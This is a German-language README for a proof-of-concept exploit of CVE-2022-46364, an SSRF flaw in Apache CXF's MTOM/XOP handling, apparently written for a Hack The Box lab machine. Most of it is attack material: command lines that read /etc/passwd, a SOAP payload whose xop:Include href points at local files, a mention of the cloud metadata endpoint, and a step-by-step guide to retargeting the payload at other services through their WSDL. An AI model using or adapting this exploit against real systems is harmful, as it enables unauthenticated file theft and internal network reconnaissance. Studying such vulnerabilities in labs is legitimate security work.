
Proof-of-concept-Exploit für CVE-2022-46364, eine Apache-CXF-SSRF-Sicherheitslücke, die das Lesen beliebiger Dateien und das Auskundschaften interner Netzwerke über manipulierte MTOM/XOP-SOAP-Anfragen ermöglicht.
Proof-of-Concept-Exploit für CVE-2022-46364 — eine Server-Side-Request-Forgery (SSRF)-Sicherheitslücke in Apache CXF bei der Verarbeitung von MTOM/XOP-Anfragen.
CVE-2022-46364 betrifft Apache CXF-Versionen vor 3.4.10 und 3.5.5. Wenn MTOM (Message Transmission Optimization Mechanism) in einem SOAP-Dienst aktiviert ist, validiert der CXF-Unmarshaller das href-Attribut innerhalb von <xop:Include>-Elementen nicht korrekt. Anstatt href auf cid:-URIs zu beschränken (wie von der W3C-XOP-Spezifikation gefordert), dereferenziert CXF beliebige URIs – einschließlich file://, http:// und https://.
Dies ermöglicht es einem nicht authentifizierten Angreifer:
file:///etc/passwd)http://169.254.169.254/)Dieser PoC wurde für die Hack The Box-Maschine geschrieben und getestet:
Ziel-Endpunkt: http://devarea.htb:8080/employeeservice
Durch kleine Änderungen im XML-Payload gemäß dem Ziel-WSDL kann es an die Zielumgebung angepasst werden.
Die Standard-URL ist http://devarea.htb:8080/employeeservice.
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
Wichtig: Dieses Skript ist fest für die WSDL-Struktur der HTB DevArea programmiert. Um es gegen einen anderen verwundbaren Apache CXF-Dienst zu verwenden, müssen Sie das SOAP-Payload in
build_payload()anpassen, damit es dem WSDL-Vertrag des Ziels entspricht.
WSDL vom Ziel abrufen:
curl http://target:8080/employeeservice?wsdl
Dienst-Details identifizieren:
targetNamespace (z. B. http://devarea.htb/)submitReport)<arg0> mit verschachteltem <content>)Payload in build_payload() anpassen:
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{dateipfad}"/> in ein Feld einfügen, das der Server als Anhang verarbeitet--url beim Ausführen des Skripts aktualisieren.
Angesichts dieses WSDL-Ausschnitts:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
Ihr Payload sollte wie folgt aussehen:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
multipart/related HTTP-Anfrage mit Content-Type: application/xop+xml.<xop:Include href="file:///etc/passwd"/>-Element platziert.file://-URI.<return>-Elements zurückgegeben.Content: und dekodiert ihn.| Ressource | Link |
|---|---|
| Apache CXF Advisory | CVE-2022-46364 |
| NVD-Eintrag | NVD — CVE-2022-46364 |
| Apache Jira (CXF-8706) | CXF-8706 |
| W3C-XOP-Spezifikation | XML-binary Optimized Packaging |
| Penligent Deep Dive | CVE-2022-46364 PoC in Practice |
| HTB DevArea | Hack The Box — DevArea |
Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Holen Sie stets ausdrückliche Erlaubnis ein, bevor Sie Systeme testen, die Ihnen nicht gehören. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Skript verursacht werden.
MIT-Lizenz – Sie dürfen es unter Angabe der angemessenen Quellenangabe frei verwenden, modifizieren und teilen.